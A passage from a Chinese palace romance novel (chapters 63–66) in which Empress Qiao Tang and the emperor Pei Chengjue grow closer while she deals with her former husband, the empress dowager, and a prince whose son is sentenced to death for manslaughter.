乔棠这才想起他不需去上朝,瞥了一眼他含笑的眉眼,侧身背对着他。 裴承珏失笑,“姐姐不信朕,就叫程英来。” 乔棠起床后果真叫了程英,程英道了无事,她才安心下来,对裴承珏正色道,“日后不能胡闹了。” 裴承珏迟了许久才应下来,乔棠原有些疑惑他的反应,也未细想,催促裴承珏去勤政殿忙朝务。 裴承珏去了,过了一阵时间,她同堂妹闲聊,不知怎地,猛地想到了缘由。 她担心这个孩子,爱这个孩子。 第63章 乔棠在脑中回想裴承珏离去时的神色,唇角微微牵起,大抵在默默欢喜。 乔棠心腔忽如开春时化了的冰河,涓涓流着春水,让她一下笑出了声,唇角翘了翘。 满殿寂然,堂妹们诧异望来,见着她的笑容,眼睛都直了,姐姐比之在冀州,更为烨然耀目了,一颦一笑让人心旌神摇。 乔棠犹不自知,身侧王嬷嬷纳闷了,她家姑娘欢喜什么呢? 正要问时,宫人来报,说是银作局送来新制的首饰,除却皇后规制的头面,另有一些可供堂妹们挑选的。 乔棠让堂妹们去选,又相中几样,吩咐宫人送到襄王府和镇国公府,给静仪郡主和魏若湄。 宫人领命去了,她瞥了一眼璀璨闪光的钗簪,叫堂妹们径自玩,自己起身去了寝殿。 王嬷嬷跟过来,她也未在意,到了寝殿镜台前坐下,翻出去年放入匣中的那枚素簪子,捏在手中半晌,抬袖拆下风钗,将素簪插入发间。 王嬷嬷疑惑,“姑娘何故突然翻出这个?” 乔棠没有出声,起身走了两步,折回来望了望镜中的自己,这才破天荒问了一声,“可好看?” 王嬷嬷吃惊得瞪圆了眼,大抵人对自己拥有的东西从不在意,她家姑娘也是,纵生得再美,素日甚少关注自己这张脸。 今日真是罕见,她笑道,“好看,姑娘就没有不好看的时候,再一般的簪子到了姑娘头上,有我们姑娘这张脸称着,也能焕发出光彩。” 乔棠抿了抿唇,也没出声,临出殿的时候,忽回头对着王嬷嬷道,“这簪子是陛下去年夏时为我买的。” 王嬷嬷呀了一声,笑道,“怪我这老婆子眼拙了,这簪子细看呢,也好看着呢。” 乔棠笑了笑,听王嬷嬷再道,“明日春闱开场,表少爷和堂少爷都准备好了,姑娘要见见他们么?” “不必。”乔棠也不想给他们那么大的压力,“事在人为,他们尽力了就好。” 目光瞥见王嬷嬷腰间挂着的荷包,心神一动,“嬷嬷真不嫌弃我的手艺,天天戴着。” “姑娘手艺好着呢。” 王嬷嬷佯装瞋了她一眼,她想起去年裴承珏冷嘲热讽的劲儿,心绪一沉,“可有人说我手艺差呢。” “那必定是他得不到,心里酸着呢。” 乔棠大为吃惊,步子骤然一停。 是了,以裴承珏对她的重视程度,为他缝了一条腰带,他且能珍视地绑在臂间,那大概真如王嬷嬷所讲的,他想要自己缝的荷包罢了。 乔棠当即要王嬷嬷备了针线笸箩,坐在窗下做起了荷包。 王嬷嬷一看心里了然,在身侧陪着她,心道姑娘是越来越看重陛下了。 临近午膳,裴承珏回太极宫,王嬷嬷瞥见他过来,起身告退了。 乔棠也未抬头,裴承珏立在窗外,目光一下落在发间的簪子上,探手将簪子从发间勾了出来,看了数眼,才确定这是去年那枚。 他看了看低眸专心缝荷包的乔棠,喉结滚动,又将簪子轻轻地插入发间,抚了抚乔棠的额发。 很多时候,他都要抱乔棠,亲乔棠,以满足心腔中因乔棠翻涌起的情绪。 隔着窗户,他俯身,一只手臂枕在窗台上,另一只手托住乔棠后颈,拉进两人距离。 薄唇吻了吻乔棠面颊,又放乔棠坐回椅子上,视线扫过针线笸箩,眉峰微皱。 “朕瞧王嬷嬷也不缺荷包,姐姐不要劳神做了。” 乔棠手上动作不停,声音轻描淡写的,“这是给陛下做的。” 她抬起头,颊边笑意清浅,“不过我的手艺是比不上宫中,陛下若嫌弃,我就不做了。” 她作势收起东西,手指被倏地伸来的手掌摁住了,她听到裴承珏懊悔的声音,“是朕不会说话,姐姐手艺很好。” 她反手握住裴承珏的手掌,“日后陛下想要什么都可明说。” 声音停了一下,她望向裴承珏,嫣然一笑,“身为陛下的妻子,我会尽量满足陛下的。” 裴承珏眸色震荡,薄唇轻颤,实在无法言出声音。 于他来讲,这一刻的时光已然凝滞,将永久地刻在他的心底。 原来先前尝到的诸多痛楚,只要乔棠愿意爱他,这些痛楚都会以成倍的快乐反馈过来。 痛到极致,得到爱时,才会如登极乐。 良久,窗前响起他的声音,“朕命人为姐姐制了新琴。” 不远处抱琴的宫人过来,将新琴奉上,他接过抱在怀中进去。 乔棠惊讶地看着他将琴放在长案上,听他缓缓道,“朕下午就召见镇国公和魏清砚。” “朕会告知魏清砚他和裴静仪婚事暂缓。” 暂缓只是委婉说法,缓个两三年,这桩赐婚就随风而逝了。 “镇国公要回边关了,朕会将虎符和金锏都还回去。” 乔棠眨了眨眼,泪珠落下来,啪嗒滴在新琴上。 裴承珏抱住她,替她擦干了泪,“姐姐不要哭,朕再不犯糊涂了,朕会做得比以前更好,做个叫姐姐满意的明君。” “先前……也不全怪陛下。” 乔棠哽咽一声,伸出双手,回抱住裴承珏,掌心温柔地抚过他的肩背,柔言细语。 “也有我的错。” 去年种种,两人彼此怨愤时那些言语、那些行为,都已随着去年死去了。 只是牵连到了镇国公府。 乔棠思付着得见魏清砚一面,无论如何,魏清砚都为此失了一只手,她每每想起都觉愧疚。 断掌难续,她总要和魏清砚说声歉意,忽地有手指抚来,轻轻地抚平了她顰起的眉心。 “过两日就是魏清砚的生辰了,姐姐要见见他么?” 乔棠视线落在琴上,须臾抬起泛红的眸子,还未言语,裴承珏凝视着她的面容,已然明白了,“朕去年要了魏清砚一把琴,姐姐替朕还了吧。” 琴可以还,姐姐却已是他的妻子了。 “在还之前,姐姐能为朕弹一曲么?” 他松开乔棠,退了一步,让乔棠坐回去,乔棠抬袖,手指落在琴上。 一阵清越琴音流泄而出。 裴承珏抱臂立在椅后,慢慢地,手臂松开,从背后抱住乔棠,手指作乱地挑了挑琴弦。 杂音一出,乔棠收回袖子,回头亲了亲裴承珏,裴承珏满足地笑了笑,抱起她去用膳。 下午,乔棠同裴承珏一起去勤政殿,裴承珏派人去接镇国公和魏清砚。 两人到时,乔棠抱着琴进了暖阁,坐在扶手上,手指抚弄琴弦。 少顷,脚步声传来,她抬头望去,见是魏清砚,微微笑着起身,将新琴放在案上。 魏清砚要行礼,被她免了,魏清砚道,“娘娘如今怀有身孕,不宜劳累,臣请娘娘坐下。” “无妨,我的身子你也知晓,向来康健,站一会儿也累不着。” 乔棠视线扫过他的手掌,望向他时才发现他的面容带着浅笑,面上笑容愈盛,“我还当你回京,要按京中生辰过了,不想还是按冀州的来。” 言罢她心底一动,魏清砚对温家并无什么情意,执意按冀州来,怕不是…… 她咬唇,暗叹自己失言,耳边传来魏清砚的温和声音,“只这一年了,往后就按京中来。” 她紧绷情绪骤然一松,唇边再度绽开一抹笑,落入魏清砚眸中。 魏清砚只多看了一眼,就别过视线,垂落视线看到了新琴。 乔棠随即转身,“去年陛下要了你一把琴,今年逢上你生辰,陛下特地命人制了一把。” 她抱起来递给魏清砚,声音低下来,柔柔的,“魏清砚,这是我和陛下送你的生辰礼物。” 还琴回去,意味不言而喻。 乔棠不愿魏清砚沉浸在过往中,她和魏清砚那段年少婚姻已结束了,魏清砚该往前走了。 魏清砚望着她。 她柔婉动人,烨然耀眼,通身流泄着高雅光华,比做他妻子时好了上千倍。 裴承珏是比他更好的夫君。 他没有一丝道理不接,他靠近一步,匆地抬袖,却用错了手。 那只接起来的断掌力气不够,接琴时琴身压下来,压得他整只胳膊都在抖。 乔棠容色一变,靠过来扶住那只胳膊,他浑身一僵,忙地用另一手臂抱过琴,将琴牢牢地抱在怀里。 两人离得有些近了,乔棠在他的视线下垂头,唇角一动,哽咽声在暖阁里响起。 “对不起。” 裴承珏立在隔断处,看着凑在一起的两人,听见这一声,薄唇抿得紧紧的,慢慢别过了视线。 他听到魏清砚的声音,带着笑意,“娘娘莫要愧疚,更不必伤心,不过是只手,也不影响什么。” “臣也该回去了。” 魏清砚抱琴退了出去,同镇国公一起向裴承珏行礼告退。 裴承珏步到暖阁里,乔棠坐在案前,垂着颈子不语,他张了张口,发觉喉咙里堵得难受。 他早该知晓的,以姐姐的性子,伤了任何一人,她都会难过愧疚。 只是,他坐在生杀予夺的皇位上,剥夺他人的一切,不过是他一念之间。 他恣意妄为惯了,遇到乔棠前,不曾跌过什么跟头,是乔棠叫他吃了苦,尝到了追悔莫及的滋味。 默然间,乔棠忽然抬头,似才发觉他进来了,眉眼蓄着的郁气如遇风的云雾,一瞬散了,笑着喊。 “陛下。” 她真生了一副柔软心肠,爱魏清砚时不遗余力,轮到裴承珏,也是一样的。 裴承珏千般滋味涌上心头,得不到时恨得不到,得到了又恨自己不够好。 “朕会下旨,为魏清砚广召名医,无论如何,朕都会治好魏清砚那只手。” 他隔了乔棠几步远,没有像往常那样去缠乔棠,乔棠了然地步过去,手指抚了抚他下垂的嘴角。 他垂下嘴角时,真的很阴郁。 乔棠不喜欢他这样。 第64章 可乔棠也清楚,爱一个人也不只有快乐,心腔欢悦跳动之外,也承载着无法言说的酸胀疼痛。 这些都叫裴承珏易了性情。 裴承珏变得坏了,是因为她,裴承珏又变得好了,也是因为她。 她再也无法脱离裴承珏,也不会再扔下裴承珏不管了。 她要让裴承珏先前冷掉的心变得滚烫,眼下阴郁的眉眼舒展,做一个意气风发的圣明君王。 “我信陛下能做到。” 乔棠的手指下移到了裴承珏心脏处,指腹重重地摁了一下,这副满是她的心腔,就该欢快跳动。 她收了手指,用手抓起裴承珏的手掌,带着那手掌轻轻滑过腹部。 “孩子也相信他的父皇。” 乔棠眸子微弯,眼波横流,笑如春风中枝头绽放的桃瓣,轻软甜润。 裴承珏静静凝视着她,过了半晌,似乎从妻子和孩子身上汲取了足用的力量,立着的躯体更为挺拔高峻了。 下垂唇角扬起弧度,勾出一个清润温柔的笑,他俯身抱住乔棠,笑道,“谢谢姐姐。” “朕会努力的。” 乔棠正笑着,忽心头浮出一事,推开他正色警告。 “陛下,柳彰他们此次参加春闱,只凭他们的本事,若中了进士自是好,若他们还差些功夫,不许陛下胡来!” “姐姐且放心,他们若没个真才实学,放到朝中也是损姐姐的颜面。” 裴承珏要为乔棠选的不是草包亲眷,而是日后真能做事的近臣。 好在柳彰他们也算争气,待春闱出了结果,两人都榜上有名。 乔棠知了,叫柳彰他们谢了裴承珏的扶持,又谢过魏清砚的教导,和乔家亲眷 欢喜一场。 裴承珏喜欢看她开心,又逢上她的其他亲眷进京,在太和殿为她办了一场家宴。 奇怪的是,家宴开时,裴承珏还未到。 乔棠当他忙于政务,心下也未有不满,反觉裴承珏真努力去做了,微微笑着望向阶下亲眷。 灯火煌煌中,殿中扬起丝竹管弦声,她的视线扫过衣香鬓影,落到了殿门处。 此时此刻,她再没有去年裴承珏生辰宴上的茫然了,那时她的心飘飘忽忽,如无根浮萍,不知落向何处。 及至今日,她清晰地知晓。 裴承珏兴师动众,扶持她的亲族,都是为了叫她的心安稳地落在宫中,落在他的身上。 她无法拒绝这样声势浩大的求爱,就像此刻无法摁住怦然跳动的心脏。 她的心不可抑制地落到裴承珏身上了。 可是—— 殿门处空荡荡的,裴承珏还未忙完政务么? 乔棠察觉自己失落那一瞬,霍地从高座上起了身,惊得阶下亲眷骤然一静,俯身向她跪拜。 “无妨,都起来吧,本宫走动一下。” 亲眷们当她孕期坐久了不舒服,纷纷笑着起身,堂妹过来扶她下了阶。 她慢慢往殿门处去,心头浮出对自己的不满,自己本该对裴承珏勤于政务欢喜的,绝不能为此失落。 可步子停在殿门前,视线望向了广远的夜幕,星子闪烁出光亮。 她望了好一会儿,忽闻得马蹄声渐渐靠近,惊惑地收回视线,宫中哪来的马蹄声! 下一瞬,她愕然地瞪大眸子。 前方裴承珏跨马而来,到了殿前空旷的阶下,身姿矫健地翻身下马,阔步上来。 他未穿龙袍,峻伟身形撑起月白常服,两道锐利眉峰下,幽深黑眸闪着比星子还亮的光。 “姐姐,对不起,朕回来晚了。” 乔棠的心在剧烈震颤,她压下声音里的轻抖,竭力稳声问,“陛下去了哪里?” “宫外街上。” 裴承珏抿紧薄唇,乔棠侧头示意堂妹进殿去,堂妹去了,她听裴承珏解释道,“朕是忙完政务去的。” 乔棠看着他伸出手臂,将掌心摊开在灯火下。 一枚簪子静静地躺在掌心。 那么普通,与宫中耀眼华美的珠翠格格不入,但与乔棠发间插着的何其相似? “朕又买了一支。” 裴承珏可以是高在云端的天子,掌中轻而易举地握着广袤无垠的天下。 也可以是一个普通的疼爱妻子的夫君,举着一枚素簪,示意他的妻子低头。 乔棠张了张口,无声中再也压不住心脏的狂跳。 好似回到了去年夏时那夜,裴承珏在漫天烟火中,声音赤诚炽热,“最喜欢姐姐。” 她低头这一瞬,确认地心想,在今夜春风中,她为裴承珏心动。 这是躲避不能、无须掩饰的事实了。 丝竹声停了,宴会罢了,裴承珏命宫人送乔棠亲眷出宫,旋身牵起乔棠的手往太极宫去。 路过御苑,月影憧憧,花枝乱影,乔棠步子一顿,侧身半倚着花枝。 裴承珏顿步,疑惑地靠近她,将她困在花枝与自己中间,嗓音温柔。 “姐姐怎么了?” 乔棠抬眸,姣姣月色下,容颜比花还娇,裴承珏眸色痴迷,视线毫不掩饰。 乔棠早已习惯他这样的视线,抿了抿唇瓣,没有言语。 裴承珏声音低低地哄着,“不开心么?” 乔棠迟疑着点头,裴承珏眉峰骤拢,抿紧薄唇,“是因为朕来晚了?” “陛下不要多想,陛下忙于政务,又出宫奔波为我买簪子,我自是高兴满意。” 她低眉,玉颊泛着月华莹辉,“只是,希望以后陛下早来,不要叫我一个人。” 倏地身子被攥紧,裴承珏骤然情热的滚烫气息浮过来,逼得她眼角泛红,情态艳媚。 “陛下……” 她甫一张口,裴承珏扯了片花瓣用指腹抵进她唇里,继而吻下来。 花瓣在唇间研磨成汁水,染红了两人的唇。 裴承珏抱紧她,压得她跌入花丛,两人狼狈地处在花影中。 她听到裴承珏的声音,“姐姐以后要像刚才一样要求朕。” 没有索求,没有独占,于裴承珏而言,是没有安全感的放逐。 要求他,索求他,独占他,他才欣喜地觉着姐姐爱他。 眼下乔棠已懂了这一点,给予了他这一点,他在欢跃中吻得乔棠意乱神迷。 这一夜,春夜花丛浅淡的香气,在乔棠心里浸了许多日。 第65章 暮春已逝,天气渐热。 乔棠已经显怀,腹部轻微隆起,裴承珏惦记着她怕热,要带她去行宫避暑。 出发前一夜,乔棠听王嬷嬷低言几声,顰眉不解,忽又觉合理。 她自回宫,除却大婚那日见了太后,其余时候均未见过太后。 非她不知礼、不愿前去慈宁宫拜见,实乃是裴承珏道了多次,“姐姐还是莫去打扰母后礼佛。” 她只好次次作罢。 她不去,慈宁宫亦无动静,两厢互不来往,日子一久,宫人私下乱言,“太极宫与慈宁宫不和。” 她听了只觉冤枉,她对太后可无不满之意,兴许是太后过于不喜她,才纵容宫中流出此言。 但太后既不在意,她也无须自找烦恼,笑着对王嬷嬷道,“无妨,且由着这话去。” 王嬷嬷笑着应下,心头微沉,她家姑娘正在孕期,本不宜操劳,可既为皇后,凤印在手,总有统摄后宫之权。 可惜眼下她家姑娘不在意,宫中事宜皆由慈宁宫裁决,又有这样的流言出来,也不知往后是个什么情况。 她兀自发愁,乔棠多瞥来一眼,依然笑着叫她安心,她勉强笑了笑。 翌日,忽听宫人来报,说是太后娘娘往太极宫来了,快要到宫门口了。 乔棠乍然一听,自是惊讶,微微思付,起身带着王嬷嬷去宫门口。 及至宫门口,乔棠步上台阶,还未步出去,竟听到裴承珏沉声一问,“母后何故来此?” 随即传来太后微愠之声,“陛下不必这样问哀家,哀家且问陛下,是否陛下和皇后说哀家礼佛,阻挠皇后见哀家?” 乔棠不由在殿门后点头,裴承珏确然是这样说的,难不成这其中还有隐情? 她侧耳去听,裴承珏坦荡得很,“母后确然是在礼佛,朕并没有欺骗皇后。” 太后像是被气笑了,“陛下是没有欺骗,倒惯会误导皇后,叫皇后以为哀家不喜她打扰,这样皇后就不必见哀家了。” 乔棠讶然,裴承珏阻挠她见太后,忽眉心一折,透出疑惑,裴承珏为何如此? 耳边传来太后示弱之声,“陛下且放心吧,皇后既已怀了皇嗣,哀家看在皇嗣的份儿上也会善待皇后,不会再叫皇后受委屈了。” “更不会再背着陛下与皇后私议任何事。” 乔棠听至此处,霍地明白了,心脏顿被掐住,泛出密密麻麻的疼。 原来裴承珏是怕她与太后见了面再背着他商议出宫,为此两边防范,叫两边都以为不喜对方。 若不是太后听了宫中流言,叫素兰姑姑私下打探,琢磨了一夜,还真瞧不出裴承珏会做这种幼稚至极的事情。 乔棠心脏酸疼,又觉好笑,忽听裴承珏道,“母后说了这么多也不过是想见皇后,想见皇嗣。” 门外默了一下,太后笑道,“陛下既知,哀家也不多言,只道一条。” “待皇后生产了,不受孕期之苦,能打理后宫了,哀家也就放心地礼佛了。” “哀家这么做,陛下可满意了?” 很快传来裴承珏的笑声,“母后所言极是,母后请进。” 乔棠还未有反应,身侧王嬷嬷又惊又喜。 太后之意分明是要统摄后宫之权交予她家姑娘,怪不得她家姑娘叫她安心,原来万事皆有陛下为姑娘盘算着。 眼看裴承珏与太后要进门,乔棠后退几步,作势刚来,正与裴承珏打个照面。 裴承珏眼睛一亮,扶好要向太后行礼的乔棠,太后笑得一脸慈善,“皇后怀有身孕,多有不便,日后见哀家不必行礼。” 三人去往正殿,太后面上笑意更浓,言辞中十分关心乔棠及皇嗣,乔棠微笑着应下。 这么一瞧,两人委实和睦,偏裴承珏勾了勾薄唇,讥诮地朝太后一笑,“看来母后礼佛卓有成效,仁爱之心愈盛。” 太后面上笑意一僵,顾及着乔棠在,硬是没驳回去。 乔棠也敛起笑意,声音低柔,“陛下怎能这样和母后说话?” 裴承珏一听,抿紧薄唇,侧过面容,算是安分下来了。 太后眼中骤然发亮,对,就是这样,管着他,叫他收敛自己的无法无天,做一个贤明之主! 太后笑得更欢喜了,语调越发轻柔,听得乔棠再也受不住了,匆匆结束了这次见面。 太后去罢,裴承珏还坐着不动,垂眸抿着茶水不语,乔棠坐过去,手指勾了勾他的衣袖,“陛下别生气了。” “我知晓陛下是为了叫母后更看重我,才为我出气。”她在短时间琢磨出了裴承珏不悦的缘由,手指缠着那衣袖低语,“母后先前也并未为难我,我对母后并无怨言。” 裴承珏睨过来一眼,似笑非笑,“那倒是,毕竟皇后那时一心出宫,怎能叫为难?” “这叫帮助皇后,皇后兴许还心怀感激。” 他抖了抖衣袖,甩开了乔棠手指,放下茶杯起身出殿去了。 疾步到廊下,回眸一瞧,身后空无一人,乔棠压根没追来,唇角后悔地绷紧了。 做什么要生这个闲气! 他暗骂自己,毫不犹豫地回身折回去,刚拐过廊角,鼻尖浮进熟悉清香。 他心念一动,欣喜刚涌上心头,怀中撞入一副娇躯,他登时笑起来,双臂拥紧了。 “陛下不生气了吧。” 乔棠在他怀里扬颈,海棠笑靥娇媚,撩得他气息不稳,只能摇头。 乔棠还未察觉,从他怀里退出来,牵起他的手一道走着,忽思及太后要她统摄后宫,一时为难,遂与裴承珏商议。 “我并不擅长此道。” 她抿了抿唇瓣,先前与魏清砚那夫妻三年,大多都是魏清砚管事,且家院清净,仆人也不多,哪里比得上阖宫事务? “不若继续交予母后?” 她并不贪权,望向裴承珏的眸子一片澄澈,裴承珏凝视着她,坚决摇头。 唯这一点,裴承珏不能从了她。 从一开始,裴承珏要她做的就不是一个只有宠爱的空壳皇后,他要乔棠有朝堂的亲眷近臣,也有后宫的实权。 只有这样,数年后,除了裴承珏的爱,乔棠也还有保护自己的力量。 裴承珏低低道,“姐姐是朕的妻子。” 他的央求带着果决,“朕在朝堂理政,姐姐在后宫理事,我们夫妻一体,好不好?” 乔棠一下明了其中关窍,浑身如过电流,心头一片酥软,登时要点头,忽猛地清醒,伸手就要去捂裴承珏的口。 裴承珏挑眉,手掌擒住那雪白手腕,逼她步步退入寝殿,将她抵在殿门上。 “何况,母后会老的,姐姐总有一天要管理后宫,等我们的孩子长大了,姐姐身为母后,还要教儿女处理这些宫务……” 剩余声音被乔棠一掌捂在了口中,乔棠侧头避过他灼灼视线,勉强驳了回去,“母后可未说过要教我!” 裴承珏眸子微弯,示意乔棠松手,乔棠不松,他只好混账地伸出舌尖,在掌心研磨过水痕,再一一舔尽。 乔棠面颊绯红,到底弄不过他,松了手进殿去了,裴承珏笑道,“母后不教,朕来教!” 乔棠只觉浑身都泛起灼热,叫她额角生出薄汗,她只好埋怨天气过热了,当日就遂裴承珏搬去了行宫。 行宫一带清凉,对她益处诸多。 裴承珏召了程英及诸多医随侍,又召了静仪郡主和魏若湄及堂妹们过来住下,与乔棠说话解闷。 但到头来,乔棠还是与他相处最多。 白日里,他在理政之余,教乔棠处理后宫事务,事无巨细,一一讲明。 “姐姐明白了么?” 极俊的面容骤然近了,闪得乔棠心神一晃,心跳急促加速,她启唇,声音颤了颤,“不、不要叫我姐姐了!” 裴承珏根本就不是弟弟。 他生得这般高大雄健,一只手臂就能轻而易举托起她,搂她在臂弯里。 与朝臣议政时,纵有赫赫威压,叫朝臣胆颤心惊,然再不胡来,比之先前更加成熟果决。 教她宫廷事务时却又像换了个人,挨着她搂紧了她,温柔低言,富有耐心,真似个教自家妻子的普通夫君。 和他比起来,乔棠慌乱失措,真无先前在静仪郡主等妹妹面前那副从容优雅的姐姐模样了。 她遂觉自己不是裴承珏的姐姐了。 裴承珏低眉,视线扫过她嫣红的面颊,额角薄汗,抿唇不语,掌下微微使力。 一直是姐姐,可也是他的妻子,他唯一的女人了。 夜里,轰隆隆的雷声下来,阵阵雨点敲击窗户,拍打声遮掩住了寝殿的动静。 殿中悬起照明的宫灯,亮如白昼,乔棠伸出一只手抓开了纱帐。 床上情景一览无余,裴承珏拿出事先带来的、去年程英备的匣子,打开一瞧,勾唇笑了笑。 “程太医说了,棠棠目前胎像安稳,月份也可以,需多动一动。” 过了一阵子。 轰隆一声雷落,乔棠身子瑟缩,裴承珏眉峰骤拢,抱起她下床去。 步到镜台前,光滑镜面照出两人,裴承珏眸色一暗,捉住乔棠的手往自己腹部摸去。 乔棠抚过微隆的腹部,阖住的眼皮轻颤,听裴承珏低笑,“姐姐看看我们的孩子。” 乔棠被迫睁眼,视线匆地掠过,在风雨声中又紧紧闭上了。 翌日夏雨未停,雨势小了,下至傍晚又大了起来。 乔棠瞥着殿外雨珠,忽见王嬷嬷行色匆匆地进来,心下诧异,“怎么了?” “姑娘,襄王府世子昨夜失手打死了人!” 乔棠一惊,听王嬷嬷再道,“要说这世子也忒混账了些,执意要与人斗殴,还活生生将人打死了,事情闹得这样大,有人报了官,刑部那个薛大人也不讲情面,直接将世子逮进了大牢。” “眼下襄王正跪在殿门前求陛下开恩,倒是为难了陛下,倘若陛下念及血缘亲情,明面上不开恩,私下设法留世子一命……” “不,陛下做不出此事!” 乔棠很清楚,自裴承珏即位起,律法修订得颇为严苛,毫无宽宥之地,以裴泽这般与人相斗,致人死亡的,当施以绞杀。 何况,事情闹大了,恐怕京中都传开了,裴承珏乃一朝天子,定不会为私情罔顾律法。 “我们去见陛下。” 乔棠疾步出殿,宫人追上为她打伞,一行人在凄凄风雨中匆匆而行。 及至勤政殿前,乔棠抬眸一望,台阶自上顺下一股血水,触目惊心。 襄王跪在殿门前,砰砰地磕着头,额头流血不止,身侧跪着静仪郡主,纤弱身子瑟瑟发抖,堆起的裙角已被血水染红了。 乔棠目光匆匆掠过他们,脚步踏过血水,来到殿前,紧闭殿门忽地从里面推开了。 薛章面无表情地从殿里出来了,步至襄王面前,冷声告知,“接陛下圣旨,裴泽绞杀。” “不可能!” 襄王发狂地蹿起来,摇晃着身子要去夺圣旨,被他退步避开,“陛下有言,刑部接了圣旨,即可速回,请襄王让路!” 襄王目眦欲裂,死死地拽住刑部尚书的袖子,不可置信地摇头。 “他不是这种薄情寡义之人,他答应过先帝要好好照顾本王的!” 乔棠猛然听到薄情寡义四个字,心头泛起细密疼痛。 犹记得去年,她怨愤裴承珏牵连魏清砚,说他薄情寡义,他当时骤然沉痛的双眸。 第66章 今时她才明白这四个字有多伤人。 何况,这四个字,镇国公府说得,魏清砚到底被裴承 珏伤了一只手。 襄王却无任何道理去讲! 裴承珏先前已为襄王思虑太多,怕裴承珏坏了性子生事,叫裴泽进京营受训,好掰正他那性子。 没成想不过一月,裴泽耐不住京营训练,哭喊着叫襄王想办法求裴承珏放他出去。 襄王向来纵着他,以自己管教儿子为由求了裴承珏数次,期期艾艾的模样到底叫裴承珏妥协了,放了裴泽回襄王府。 有了这一回,裴泽行事越发没有顾忌,襄王也不舍得管他,最终纵他生出这样祸端,落得个绞杀下场。 此事细究缘由,原也是裴承珏尽力了,襄王却没有尽到身为父亲的管教责任。 可偏偏下了绞杀圣旨的是裴承珏,他那么果决地叫薛章去执行,直叫襄王难以接受。 襄王呼呼喘气,奋力从薛章手中夺过圣旨,沾染鲜血的双目掠过内容,见果真要绞杀裴泽,发青的嘴唇哆嗦起来,扑到殿门前哀吼。 “请陛下看在本王的面上饶了他一命!” 殿里始终很安静,似隔绝了外面一切动静。 没有裴承珏的命令,所有人都只能在风雨中立着,听着襄王绝望的哭声。 “陛下,你饶了他吧!” “你忘啦,你小时最喜欢皇叔了,还有你裴泽哥哥,他还带着你骑马,你都忘啦?” “是,他是个混账,都怨皇叔没教好,你让皇叔带他回家,回家我就揍他,你饶了他吧,皇叔就这一个儿子……” 风雨刮到殿前,水淋淋的风声袭过乔棠全身,湿了她的衣物,眼睫也滴下水来。 她浑然不觉,直勾勾的视线穿过殿门,雨天昏暗,她看不清里面,看不到裴承珏,但她知晓,裴承珏一定听到了。 一瞬里,她的呼吸变得急促艰难,清晰地感知到骤缩的心腔疼痛难忍,脑中乍然闪过一幕。 去年暖阁中,裴承珏生恐裴泽惹出事端,她那时还想着,原来高高在上的裴承珏也有害怕之事。 谁能料想今日一语成谶。 裴承珏亲手绞杀了自己堂兄,他的圣旨是果决的不容置疑的,他的心也可如寒冰铁石,不带半点私情。 更叫乔棠心痛的是,她在刹那间意识到,殿里的不仅是高高在上的一朝天子,还是她的夫君。 她的夫君分明有颗为皇叔顾虑的心,知道冷暖疼痛,她无法抑制地心伤。 她不能让裴承珏一人在殿中,她动了动僵直的腿,迈起步子要入殿去。 忽然间,得不到回应的襄王痴癫了般,口鼻呼呼喘气,面上血水淌下,双眸染上无尽怨恨。 “裴承珏你好狠的心啊,你竟敢残杀手足!你忘了皇兄驾崩前怎么说的了吗!” “皇兄最在乎手足,最在乎本王了,皇兄叫你善待本王,你敢杀本王儿子,那就是不遵皇兄遗命……” “襄王爷!” 一道厉声冷冷劈来,斩断了风中的诛心之语。 众人心惊胆颤,襄王亦哆嗦着唇,再也发不出声音,齐刷刷地望向乔棠。 乔棠一向柔美的面颊覆上刺骨寒霜,秋水眸子迸射出怒意,冷绝视线一一扫过众人。 “裴泽罔顾我朝律法,致人死亡,合该绞杀,陛下秉公办理,并无一丝不妥。” “先帝在时教导陛下以国为念,祛私奉公,唯法是从,陛下未有一刻敢忘。” “现今陛下谨遵先帝教诲,不徇亲故,秉公持正,既是以法为先,亦是忠于孝道,若是先帝尚在,也只会赞同陛下所为。” 清亮坚韧之声在凄风苦雨中清晰可闻。 众人瞠目,只觉一贯纤姿柔美的皇后变了模样,原来海棠春容也可以冰冷摄人。 乔棠视线如刃地刮过襄王。 “反倒是襄王爷,于公,殿前失仪,罔顾律法,污损先帝圣明,以私情胁迫君上,阻拦刑部公务,于私,心中无兄无侄,只念私利!” “来人,还不快将襄王爷请下去!” 乔棠喝了一声,当即有两个侍卫持刀靠近襄王,钳住襄王后要将襄王拖走。 襄王挣脱不能,怒得面皮涨红,牙齿咯咯作响,疯叫声割破了雨帘。 “你竟还有脸面斥责本王,陛下先前多么纯善赤诚啊,自你进宫,陛下浑似变了个人,怠于朝政,沉溺宫闱!” 他似将怨恨统统发泄到了乔棠身上,赤红眸子淬了毒地射过来,“是不是你蛊惑的陛下!是不是你叫陛下杀了我儿!” 他俨然已疯了,癫狂言语如道道春雷劈下,直劈得乔棠神思涣散。 乔棠的世界一瞬陷入沉寂,周围风声雨声都不见了,言语如利刀似地划破了她的心肺,突突地冒着血水。 裴承珏是因为爱她变坏过一阵,可裴承已经在变好了,今日绞杀裴泽也是她影响了裴承珏么? 殿里忽传来动静,稳健的脚步声叫众人倏地变色,襄王神情激动地要挣脱出侍卫的禁锢,“陛下!” 很快,乔棠冰冷的手被温热掌心握住了,叫她神思回聚,头脑清晰起来。 接着她被揽入一个温热怀抱,听裴承珏无情无绪道,“请襄王下去。” 乔棠埋首在他胸前,听着襄王的疯叫怒骂,忽耳边一静,是裴承珏拿手捂住了她的耳朵。 她什么也听不到了,忽觉阵阵雨点直往裴承珏身上溅,鼻尖嗅到血腥气,心下奇怪,又猛然身子轻抖。 那不是雨点,那是襄王口中喷出的血。 他溅了裴承珏一身的血,一身的怨恨。 乔棠眸中无声地坠下泪,打湿了裴承珏的衣领,裴承珏抱紧了她,带她去了内殿。 在一片寂然中,乔棠坐在榻上,看着裴承珏从箱笼中翻出她的干净衣物,转过身步过来,立在她面前,示意她起身换衣。 乔棠扬颈望着他。 他容色平静,没有绞杀堂兄的悲痛,没有被皇叔疯骂的神伤。 像是很普通的一天,妻子从外面淋了雨回来,他作为夫君,翻出衣物平静地为妻子换衣。 于是乔棠擦干眼泪。 她在今日明白了她该如何做。 她是雨天淋了雨的妻子,也是一朝天子的皇后,她不能再哭,她要陪在裴承珏身侧,给予裴承珏坚定的支持。 她换了一身衣物,身上一片清爽,也执意让裴承珏换了一身龙袍。 她在榻上重新坐下来,示意裴承珏靠近,裴承珏无声地屈膝矮在她的身前。 她掏出手绢,一点一点擦拭裴承珏面颊上的血点,动作轻柔小心。 待裴承珏面上干干净净了,她才柔柔地一笑,“好了,陛下起来吧。” 